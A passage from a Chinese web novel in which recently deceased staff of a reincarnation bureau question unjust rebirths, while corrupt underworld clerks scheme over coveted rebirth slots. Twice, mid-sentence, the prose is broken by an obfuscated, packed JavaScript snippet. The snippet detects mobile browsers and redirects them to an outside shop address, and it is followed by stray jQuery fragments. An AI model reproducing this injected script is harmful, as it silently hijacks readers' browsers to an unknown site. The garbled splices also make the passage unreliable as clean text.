李留越看眉头越皱,她不发一言,又返回去看投胎选项,发现选项居然没什么变化,和之前那个投胎的分布大抵一致,面板上居然还有平和富裕的家庭。这样的人渣不应该投入十八层地狱吗? 就这样让他投胎? 什么惩罚也没有? 川贵还在选,此时李留竟然有些庆幸他的贪婪。她定住川贵,取出白条,噔噔噔跑到张欣旁边,想要和张欣分享。却发现张欣看不到她的面板。李留惯例吐槽了两句,嘴巴嘚吧嘚把川贵撕吧了一遍。张欣听完也皱眉。 “系统没什么提示吗?” “没有啊,就这样我才来问你。我就看到一堆的什么精神度啊完善度乱七八糟的,我也不知道是什么。但是你晓得哇?那个人居然可以投胎到富裕人家!里面甚至还有一个老总!他凭什么啊!” “我第一次深恨这里不是地狱。不然我要把他串起来再摁下去。”李留愤愤做了个摁下去的手势。 “其实我之前也遇到过,有个人为了升职陷害朋友,逼得朋友跳楼,散播同性恋朋友的秘密,害朋友自杀。但是他投胎到了一个很优渥的家庭。”张欣也暂停工作,她满心的疑惑,“这儿和我想的不太一样。” “是吧是吧,是不是很不合理?”李留左右看看,神神秘秘,“你就没想过做些什么?” 张欣皱眉看她。 “老大好像可以指定投胎方向——”李留轻声,张欣一下瞪大眼睛,还没说话就被李留捂住了嘴,她使劲眨眼,张欣合了两下眼睛,李留才又说,“上次老大把一个男的投胎成了海豚。” 李留没有多说,张欣却一下明白李留要做什么,她又要去拍组长的门建言。自从上次组长真的去看了李留的糖果屋并夸了两句后,李留是隔一段时间就要去骚扰一下组长。组长这个社恐都要被骚扰得暴走。张欣每次都看得心惊胆战,李留竟然还让组长帮她剪发! 她说我要把这玩意儿染成绿的! 那次组长的眼睛变红了吗?张欣不知道,她只知道在剪成绿色爆炸头之后,李留加了一个星期的班。 现在这个绿色榴莲还在李留头上顶着。 “我劝你不要。”张欣轻声说,她直觉这事儿和以前不一样,李留不以为然,但是张欣坚持,“如果你真的想要,最好不要遇到一个就拍着要去——” “不止一个啦!之前好多!我都没留!” “我知道,”张欣顶着红色爆炸头,温声细语,“整理成报告,像温姐姐那样的形式。提出自己的意见。” 李留不耐烦地挠头,她最烦这玩意儿。 “或者转交给温姐姐。她比我们早来,更了解程序。肯定了解这方面的内容,处理会比我们完善。” “转交给HR温?” 可这又不是一个人的事儿!转交完这一个难道就没有下一个了吗?投胎系统怎么能忽略这方面?直接让人投胎?可是张欣看着李留,“我们才来了一个多月,球球。” “这里是投胎部门。投胎系统。” “你之前还说,想要再吃一次妈妈做的红烧鸡翅。” 李留沉默了。 张欣拿起一个白块儿,那是模仿的装饰品,她塞到李留手里,“回去吧,球球。” 李留的身影拉长,拉长,一直到看不到。张欣又具现化一个白块儿。她建屋子的时候很简洁,留了一些能量,她问温姐姐能不能做一些装饰品带到工位上,温姐姐请示组长过后说可以。但是只能用剩下的能量。 组长其实是个很拧巴的好人,觉得她们需要屋子,于是就费劲巴拉地添加程序,温姐姐征求大家的意见,乱七八糟写上去的那些东西居然也有被采纳。她们现在有游乐场,有电影院,虽然只能播放自己编写演绎的电影。有茶厅,有云堂,温姐姐还说组长在考虑怎么才能让大家更舒服,要不要添加饮食系统。 组长知道李留十句里有八句建议都是写的吃。 张欣舒了口气,她也很疲惫,但是不知道疲惫什么,她并不困,只是习惯了到点睡觉。可是李留前段时间缠着组长剪头,给组长凭添了许多工作量。张欣没什么能够回报,就默默地加班。反正现在加班也不会困,更不会饿,最不用担心猝死。 工作室里只有她一个人了,温姐姐的办公室还透着光,温姐姐总是加班。除了房子建好那一天,可是温姐姐的房子也是雪洞一样,什么装饰也没有。 或许温姐姐是最适合这份工作的人。 张欣又打开系统,按部就班处理起来,她有时候也会不舒服,但是也没什么关系。活着的时候也有很多看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175867|150564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不惯的事,只能眼不见心不烦。只是这份工作的内容,错误地让球球认为她可以改变。有时候张欣也有这样的错觉,好像摁下去就能改变一个人的一生,可她只是个员工。 更何况,她认为正确的就一定正确吗? 生前不是法官,死后何必强求?给工作让她继续活下去的是组长,是人类投胎系统,是温姐姐,她做好自己的本职工作,其他,随缘吧。 “B-1-1580000王芷,你的投胎意愿是什么?” “B-1-1580000王芷,意愿投往B-2-3-6-8-2落煌市王胜男的雄性后代,请确认。” “确认。” 随着机器吞吐,五条生成,王伞把五条贴到王芷的脑后,王芷走到圆盘上,在白光的照射下变成小白块儿,传送到浴盆中,煮了几十秒后,又被机械臂拾起来,码到传送带,一个个识别、刻印,掉入甬道中以新的身份投入到这个世界。 受精卵形成,身份编号形成,受精卵着床,顶上投胎界面,受精卵分化成胚胎-形成神经管-大脑-手脚-心脏,期间白块儿没入,孕八周大脑发育直到出生有意识,本次投胎成功。 孕中消失者,返回重新投胎。 在怀这个孩子前,王胜男流产过一次,她婆婆不知从哪儿搞来的转胎药,据说花了大价钱,一定能怀个男孩儿,还说要在显怀前吃,不然不显灵。王胜男不愿意吃这些东西,奈何婆婆一哭二闹三上吊,老公生意忙,回家也只会劝她让她忍一忍,说母亲带大他不容易。公公倒是会假意训斥,但是王胜男知道公公经常唉声叹气,说他老陆家绝种。 王胜男被闹得快要精神失常,因为这个孩子,婆婆去她单位闹,说单位不体恤孕妇,让怀相不好的孕妇工作。于是王胜男被单位约谈,委婉劝她还是要顾及家庭。王胜男被迫在家养胎,婆婆接触她的时间更长了,一会儿说这个对孩子好,一会儿说她不该接触电子产品,容易畸形。 在这样的环境下,王胜男拗不过婆婆,几乎是怀着报复的心理喝下的转胎药,一顿不落。甚至对婆婆离谱的要求照单全收,果不其然,不到两个月,王胜男身下流出血来,婆婆慌忙去医院,医生说孩子已经没了。 孩子还没显怀就掉了,外表根本看不出性别。婆婆非要把那一堆带走,把王胜男一个人扔在医院。等王胜男收拾好回家,第二天婆婆才风尘仆仆地回来,兴奋地说转胎药管用,流的是个男孩儿!王胜男匪夷所思,婆婆就说这孩子的性染色体是XY,大师说科技测的,错不了! 流产后不到两个月,王胜男又怀孕了。 这次,是公公望风,婆婆溜进房间扎的避孕套。 王胜男不想要这个孩子,但是婆婆把她关在房间,只在下面开个小洞送饭,王胜男还不想撕破脸,谁家都是狗屁倒灶一堆事儿,至少她老公除了孩子,其他还能接受。她也总不能不要孩子。于是她和老公好好谈了谈,告诉他上次流产的原因,如果想保住这个孩子,最好还是别再让老人肆意妄为。老公答应后,她开始好好养胎。 怀胎八周的时候,一道青光来到落煌市A区306栋,在王胜男的肚皮前徘徊不去,多次试图没入,却被找不到栖息所。尝试多次后,青光着急起来,强行破入,被急速弹出,青光整整瘦了一圈,最后天光渐晓,青光不甘心地离去。 8. 寻访的任务 “大、大、大——我开!” 骰盅滴溜溜转在一边,三六二几枚排列的骰子在昏暗的灯光下无比刺眼,穿着破烂蓝色袍服,胸前写着大大的押字的奎丁呸了一声,骂骂咧咧地掏出几枚暗红色的铜钱。张三去拽他手里的钱,奎丁还盯着桐油桌子上点着朱砂的三枚骰子。 今儿真是倒了霉了,就没见赢几回,这些家伙该不是组局来骗他的吧?奎丁还捏着血运铜钱不放,一旁早有人起哄起来,“钉子输不起噢噢噢!” 围着看的也笑起来,有人指着他说三寸丁矮树皮,扒了树皮当脸皮——奎丁听得火起,顺势把铜钱一收,一只手已经拉长掐住了那人的脖子。 “你刚刚,说-什-么?” 奎丁的手好像耙子一样牢牢禁锢在一个穿着锦绣的人身上,他双眼冒红,显然已经赌上了瘾。 “我说你敢做不敢当!没脸皮!” 被那么多人看着,徐洪福也不好意思认怂,尽管脖子上的手箍得疼,一股胆气撑着他嘴硬。再怎么说我也是阳间的人,他真能把我怎么样?真认怂了下次还怎么有脸下来——徐洪福的脸渐渐涨红,脖子上的手越收越紧。 周围人眼见着事情大发了,有人来劝架。让奎丁消消气,说这家伙毛也没长全。有人怂恿奎丁,有本事真的掐下去,这儿也好久没见血了,让兄弟们开开眼。 “掐死他!掐死他!” “奎丁,放开他!” “掐死他!掐死他!”栅栏里探出满是蛆疮的头,头上的白虫子也跟着飞舞。 “掐死他!掐死他!”看热闹不嫌事大的,脸上冒着红光。在一声声的起哄声中,奎丁显然成了英雄,他的大脑嗡嗡着,身上破烂的袍服抖动着,手越收越紧,面前那张轻佻的脸涨红着,嗬嗬要说些什么。鼓胀的勇敢化作惊惧,却一句话也说不出口。 听鬼说这里要杀人,又有一圈人围了过来,个个伸长着脖子往里看,有的把眼睛抠出来举在头顶,有的把脑袋挂竹竿上撑起来,有的脖子拉成细条。红黄晃成一片,人人口中不停,聚精会神。 “天字十五——排演司,当日当值者会演厅集合!” “天字十五——排演司,当日当值者会演厅集合!” “天字十五——排演司,当日当值者会演厅集合!” 一道含着阴摄之力的诏响起,话音刚落,里三层外三层的人群四散而逃。四周一空,奎丁也被冰彻骨的阴摄之力洗透了所有冲动。他恍然响起自己那天就在巡值,该当值的魏小五偷偷跑去人间找他弟弟去了。这——自己该去还是不去啊? 思索着,奎丁手一松,径直去找魏小五。徐洪福一下跌坐在地上,咳咳平复,嗓子火烧火燎地疼。他眼神阴毒地看着奎丁,一个小喽啰也敢这么对他。徐洪福又想起奎丁深思不属的原因,阴恻恻地笑了两下,爬起来找他爹去了。 “魏小五!魏小五!”奎丁一进院子,环绕着去找魏小五,然而找过廊下偏屋,一个人也没有。奇了怪了,今天魏小五又不在?又不是他值班?难道人已经应卯去了?想到这儿,奎丁又放松下来,也是,魏小五认识大人物,顶班这事儿算什么。他去了肯定是不用自己去了。 奎丁退出去,把门掩好,走出去两步,又回头看了两眼。眼中难言嫉恨,都是卒子,怎么魏小五就这么好命,在枉死城还有屋子。他啐一口,左右看看,大踏步离去了。 “查班——张五,”穿着青色袍子的转悠着写下一笔,“巡班——刘四。”乌压压的鬼群里一张脸讨好地笑了笑。青色袍子大笔一挥,又一串串念下去,直到—— “演班——魏小五,”没有回声,“演班——魏小五——”青色袍子拉长了声音又念了一遍,还是没有回复,底下鬼群摩肩接踵,挤来挤去,想看看何许鬼也,在第三遍明显不耐烦的声音响起来时,一个蓝色束着扎腿的小鬼哈腰赔笑地上去。 “山大人,魏小五前日被调去收鬼,受了伤,抱了假在休养呢。”蓝衣鬼奉起一脸的褶子,手里塞过一串明珠,“大人身姿如明珠,实在让小人钦佩。” 山大人略借一借光,见剔透无瑕,可见好货色。于是悄然落进袋子,梳梳胡子正色道:“收鬼有功,将养着吧。下次要早说,知道吗?” 蓝衣鬼又弯腰喏喏应着,又说几句英武来。山大人不耐烦地叫他下去了。 一连点了一千五的名,上来十来个蓝衣鬼,有的十足十的好成色,于是得到了勉励。有的囊中羞涩,于是被大声呵斥,狠记了一笔,有的叫也不到,被直接勾去。还有的鬼在下面串来串去,一个鬼点了十个名,上面的眼皮都没有耷拉一下。一千五点完了,山大人就摸着胡子,慢悠悠点几个问起来。 一个问你当天在做什么呀?看底下的穿着又内秀,就故意问些为难的话,好让底下跪着的汗流浃背,再揩上一层油。一个问家里都有什么人呀,说的好就夸一夸,说不好就狠问一问,若是奇形怪状又不会说话的,就勾一笔枷下去。 一千五枷了几十个。山大人又摸着胡子,让第一页的回去了,又问负责申时甲段的是谁,魏小五又出来了。这次蓝衣小鬼又上来喏喏,奈何拿不出好的来,山大人铁面无私画了个圈。最后山大人留了五十来个鬼,拿着厚厚一摞子供状回去了。 “最近投胎失败的怎么越来越多?”穿着深蓝褂子的甲五歪着身子坐在榻上,看同僚在一旁急得冒汗,刘巡查上一次还生时最宠的孙儿都投胎失败了,而他现在还没有找到失败的原因。甲六托爷爷告奶奶,人间办事处找了,巡游也找了,勾魂司也托了人,结果只知道投胎的时候里面已经有人了。现在勾出来也来不及。 刘巡查这次的孙儿有些清高,死前彬彬有礼说这辈子不贪求荣华富贵,只要家庭和睦,有些清贵之气即可。他说的清贵之气是父母都有文化,孩子先天条件还要够聪明,家境不仅要好,还要好得有底蕴。他们找了好久才找到这么一个天时地利人和的对象。结果居然被人截胡了! 勘测、看守和负责投胎的怎么做的! 一想到当时刘巡查骄傲摸胡子的样子,故贬实褒说这孩子不实际的话,甲六就慌得要死,原先是没有甲部这个岗位的,哪儿知道帝君的第十五个儿子胡闹,在三生石乱刻,硬生生给自己搞了部缠绵悱恻的小说,为了让帝君的儿子投胎时不要受苦,上面临时组了个司还部,被帝十五大手一挥改成了甲部,说上面流行。 然后一堆人搭着车就过来了。 这个说我有个伶俐的孙儿,那个说我孤苦无依的儿子,这个说我儿福气逼人,那个直接塞过来一堆人。甲部慢慢人越来越多,越来越多,直到如今的规模。 “甲五!你一向有些聪明,帮我这一回吧。”甲六直接给他跪了,甲部最近频频暴雷,只有甲五安然无恙,他掏出个五帝福来,塞到甲五手里。甲五举着五帝福,慢悠悠冲着烛火照去。 “不是我不帮你啊,这都多少了?”甲五弯腰凑近甲六,“你算算,从张判官的第二十五子丢失投胎对象,到现在的刘巡查,你发现投不了胎后想再找一个合适的也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175868|150564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有,富贵鼎赫之家竟然全被订完了——地府五千年来都没有这样的道理,咱们看中的还有被抢了的!” “你是说?” “这里头有事儿。” 废话!我不知道有事儿吗!只要不从我这儿爆出来怎么都行!我可不想节外生枝!我好不容易才升上来! 甲六抱着甲五的大腿苦苦哀求,什么面子也不要了,“五哥五哥,你那个王巡检的第十子的投胎对象能不能先让给我,他不是还有五年阳寿吗?先给小弟我应个急,小弟我到时必有厚报啊五哥!” 甲五想把他踢出去。 什么牌面儿上的,也敢要他的人? “五哥,那王巡检的第十子只要长子,刘发总不能五年都不要孩子吧?他如今都三十六了!你先让给我,到时候我肯定补你个好的——不,我补你两个!” 甲五真想一脚踹出去,他使劲儿拔使劲儿拔,愣是没把自己的腿拔出来。甲六不知道是不是咽了秤砣,一门心思只想要他的坑。 “你别想!”见诱骗不成,甲五索性也不装了,“这事儿我已经报给大人了,刘巡查这会儿估计已经知道了。你若是有心,倒不如多多探查,大人回来的时候也好交出罪魁祸首,免得自己受刀山火刑!” “你!” 原来甲五也怕自己的任务出差错,雷到自己这里掩不住,早想着推个人上去。甲六做砸的任务他最了解,来头也够大,索性做了检举之人。甲六气得要把自己送出去的五帝福抢回来,却被甲五一把推地上,他也来不及掰扯,着急忙慌去查。 结果半路上碰见他姐姐,见着他就赶忙找个僻静地儿,从袖子里掏出一纸公文,却是检举甲六的,甲六一件落款,果然是甲五那个杀千刀的。忙拽住姐姐问怎么得来的。怜奴儿说是信差要往阳间去,走之前来找她作别。此时正睡得不知鬼事。她向来卖些消息,信差又说自己是去找个大人物,回来给她带新的珠宝。她也就搜了搜,却找出这么个东西来。 “五姐!你可帮了我大忙了!”甲六恨不得抱住亲一口。然而这公文总要还回去,也不能毁了。甲五眼珠一转,让五姐等他一会儿。他却飞笔写就一篇公文,检举甲六失当。写完交代五姐放回原处。他自己飞也似到轮回殿,拿出私刻的甲五的小印,把瘦了一团养着的青光送到刘发处。 至于王巡检的第十子怎么办,嘿,和他什么关系!这位子是他五哥让给他的! 等甲六回去。山大人等待已久,解决了这事儿自觉不用顶雷的甲六刚想让山冒下去,忽然想起来什么,把供词拿来一看,一堆的玩忽职守,山冒本来还想说明一下,被甲六一径把缺位的撸去职位,送下各值守地狱一百年,然后方可投胎。 山冒不说话了。 还得查一查。如果到时候甲五失职,自己却有线索,岂不是让大人高看一眼?想到此,甲六招手,低声嘱咐了山冒几句。山冒刚想说不可,就被甲六一眼瞪住。讪讪应答了。 等山冒领了为难的任务回去,他偷偷来玩儿的曾孙子凑到他面前,又是捏腿又是按肩,说爷爷有个鬼欺负我。山冒刚想呵斥,说自己烦着呢。徐洪福已经说出来那个人的名字,山冒一阵心烦,把纸捻上几捻,寻个空挡写了奎丁的名字。告诉他奎丁将在刀山地狱受罚一百年,小地狱也会一一过遍。 徐洪福又哄了几句,被爷爷赶开后又出去逛了,天马上要亮了,他得赶紧再玩一会儿,不然要还阳啦! 徒留山冒长吁短叹。 哎,寻访的任务怎么做啊!